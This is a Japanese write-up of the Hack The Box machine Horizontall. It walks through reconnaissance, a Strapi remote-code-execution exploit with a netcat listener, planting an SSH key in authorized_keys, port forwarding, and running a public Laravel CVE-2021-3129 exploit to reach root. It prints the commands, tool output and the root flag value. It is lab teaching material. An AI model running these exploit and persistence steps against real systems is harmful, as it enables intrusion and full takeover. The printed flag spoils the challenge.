偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~] └─$ nmap -T4 -P0 -sC -sV -A -p- 10.10.11.105 Starting Nmap 7.92 ( https://nmap.org ) Nmap scan report for 10.10.11.105 Host is up (0.18s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA) | 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA) |_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-title: Did not follow redirect to http://horizontall.htb |_http-server-header: nginx/1.14.0 (Ubuntu) 61217/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
TCP/22と80が開いているようです。Webでアクセスすると以下のようなページが表示されました。
※IPアドレスを指定したアクセスはできないため、/etc/hostsを編集してURLでアクセスしました。
ページの下部に問い合わせのフォームがありましたが動作していないようでした。
その他「http://horizontall.htb」に対してdirbやnikto等実施しましたが有益な情報は得られませんでした。
次に、サブドメインの調査を行いました。
┌──(kali㉿kali)-[~] └─$ gobuster vhost -u http://horizontall.htb -w /home/kali/subdomains-top1million-110000.txt -t 150 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://horizontall.htb [+] Method: GET [+] Threads: 150 [+] Wordlist: /home/kali/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== Found: api-prod.horizontall.htb (Status: 200) [Size: 413] ===============================================================わ
ワードリストには以下のものを使用しました。
上記の結果より、「http://api-prod.horizontall.htb」というサイトが存在することが確認できました。ブラウザでアクセスすると以下のようなページが表示されます。
単純にアクセスしただけでは有益な情報が得られなかったため、上記URLに対してさらにgobusterを実行します。
┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://api-prod.horizontall.htb [+] Method: GET [+] Threads: 150 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== /users (Status: 403) [Size: 60] /reviews (Status: 200) [Size: 507] /admin (Status: 200) [Size: 854] /Reviews (Status: 200) [Size: 507] /Users (Status: 403) [Size: 60] /Admin (Status: 200) [Size: 854] /REVIEWS (Status: 200) [Size: 507] /%C0 (Status: 400) [Size: 69] /%D8 (Status: 400) [Size: 69] /%CF (Status: 400) [Size: 69] /%CE (Status: 400) [Size: 69] /%CD (Status: 400) [Size: 69] /%CC (Status: 400) [Size: 69] /%CB (Status: 400) [Size: 69] /%CA (Status: 400) [Size: 69] /%D0 (Status: 400) [Size: 69] /%D1 (Status: 400) [Size: 69] /%D7 (Status: 400) [Size: 69] /%D6 (Status: 400) [Size: 69] /%D5 (Status: 400) [Size: 69] /%D4 (Status: 400) [Size: 69] /%D3 (Status: 400) [Size: 69] /%D2 (Status: 400) [Size: 69] /%C9 (Status: 400) [Size: 69] /%C8 (Status: 400) [Size: 69] /%C1 (Status: 400) [Size: 69] /%C2 (Status: 400) [Size: 69] /%C7 (Status: 400) [Size: 69] /%C6 (Status: 400) [Size: 69] /%C5 (Status: 400) [Size: 69] /%C4 (Status: 400) [Size: 69] /%C3 (Status: 400) [Size: 69] /%D9 (Status: 400) [Size: 69] /%DF (Status: 400) [Size: 69] /%DE (Status: 400) [Size: 69] /%DD (Status: 400) [Size: 69] /%DB (Status: 400) [Size: 69] ===============================================================す
上記よりいくつかの情報が得られました。/adminにアクセスすると以下のようなページが表示されました。
このページのソースより、読み込んでいるJavascriptを見るとstrapi(StrapiとはNode.js環境において動作するオープンソースヘッドレスCMS)のバージョンがstrapi-plugin-content-type-builder@3.0.0-beta.17.4であることがわかりました。
余談:gobusterのdnsとvhostの違い
今回gobusterでサブドメインの調査を行いました。
gobusterにはいくつか動作モードがありますが、DNSモードは特定のドメインのサブドメインを検索します。-rのオプションにあるようにDNSサーバを指定して実行するモードです。
それに対してVHOSTモードは指定したURLにアクセスしてサブドメインが存在するかどうかを確認します。そのため、今回はvhostモードで実行しました。
アクセス取得
上記で得られた情報をもとにアクセスを試みます。
バージョン情報で検索するとRCEのexploit情報が見つかりました。
上記実行するとアクセス取得はできたようですが、自由にコマンドが打てませんでした。CVE番号で検索をすると他のexploitも見つかりました。
上記は実行時にJSOC Web Token(JWT)を引数に指定します。ncで待ち受けた状態で、JWTは前のexploit実行時に表示されていたものを指定して実行します。
待ち受け側でインタラクティブシェルを取得することができました。
権限昇格
取得したシェルでlinpeasを実行しました。
╔══════════╣ Active Ports ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1872/node /usr/bin/ tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN -
Active Portを見ると3306(MySql)、1337(APIの呼び出し用)以外に8000番が開いていました。取得しているシェルよりcurlでアクセスすると、Laravel v8が動いていることがわかりました。
LaravelV8について調べると脆弱性(CVE-2021-3129)の情報が見つかりました。 また、脆弱性に関連するexploitも見つかりましたが、これはkaliで実行する必要があるようです。 BOX自身からしかアクセスできないTCP/8000に対してexploitを実行するためにSSHポートフォワーディングを行います。 最初に、ssh-keygenでSSHキーペアを作成します。そして一緒に作成される.pubをBOX上に登録します。
┌──(kali㉿kali)-[~] └─$ cat id-rsa.pub ssh-rsa AAAA~SzaVkBUaV6E= kali@kali 上記をコピーしてBOX上で以下を実行します。 strapi@horizontall:~/.ssh$ echo "ssh-rsa AAAA~SzaVkBUaV6E= kali@kali" >> authorized_keys
その後、KaliでBOXに対してSSHアクセスを行います。
┌──(kali㉿kali)-[~] └─$ ssh -i id-rsa -L 8000:localhost:8000 strapi@10.10.11.105 The authenticity of host '10.10.11.105 (10.10.11.105)' can't be established. ED25519 key fingerprint is SHA256:Xe1jfjgC2NgH1uDUUr14erdojTBy+zenI7KtOwu8+ZY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.105' (ED25519) to the list of known hosts. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu Sep 22 04:28:40 UTC 2022 System load: 0.0 Processes: 180 Usage of /: 82.2% of 4.85GB Users logged in: 0 Memory usage: 43% IP address for eth0: 10.10.11.105 Swap usage: 0% 0 updates can be applied immediately. $
ここまでで、kaliの8000番ポートとBOX上の8000ポートが接続できました。
Kali上でブラウザより8000にアクセスするとLaravelの画面が表示されます。
この状態でLaravelのexploitを実行してみます。
git clone https://github.com/nth347/CVE-2021-3129_exploit.git ┌──(kali㉿kali)-[~] └─$ cd CVE-2021-3129_exploit ┌──(kali㉿kali)-[~/CVE-2021-3129_exploit] └─$ chmod +x exploit.py ┌──(kali㉿kali)-[~/CVE-2021-3129_exploit] └─$ python3 exploit.py http://localhost:8000 Monolog/RCE1 id [i] Trying to clear logs [+] Logs cleared [i] PHPGGC not found. Cloning it Cloning into 'phpggc'... remote: Enumerating objects: 2962, done. remote: Counting objects: 100% (508/508), done. remote: Compressing objects: 100% (210/210), done. remote: Total 2962 (delta 362), reused 308 (delta 283), pack-reused 2454 Receiving objects: 100% (2962/2962), 430.81 KiB | 7.69 MiB/s, done. Resolving deltas: 100% (1234/1234), done. [+] Successfully converted logs to PHAR [+] PHAR deserialized. Exploited uid=0(root) gid=0(root) groups=0(root) [i] Trying to clear logs [+] Logs cleared
※rootが取得できている
┌──(kali㉿kali)-[~/CVE-2021-3129_exploit] └─$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt" 1 ⨯ [i] Trying to clear logs [+] Logs cleared [+] PHPGGC found. Generating payload and deploy it to the target [+] Successfully converted logs to PHAR [+] PHAR deserialized. Exploited 615b3e97c73f7fa2a5fb0e10af859ee9 [i] Trying to clear logs [+] Logs cleared
フラグを取得できました。
参考にさせていただいたサイト
貴重な情報をありがとうございます。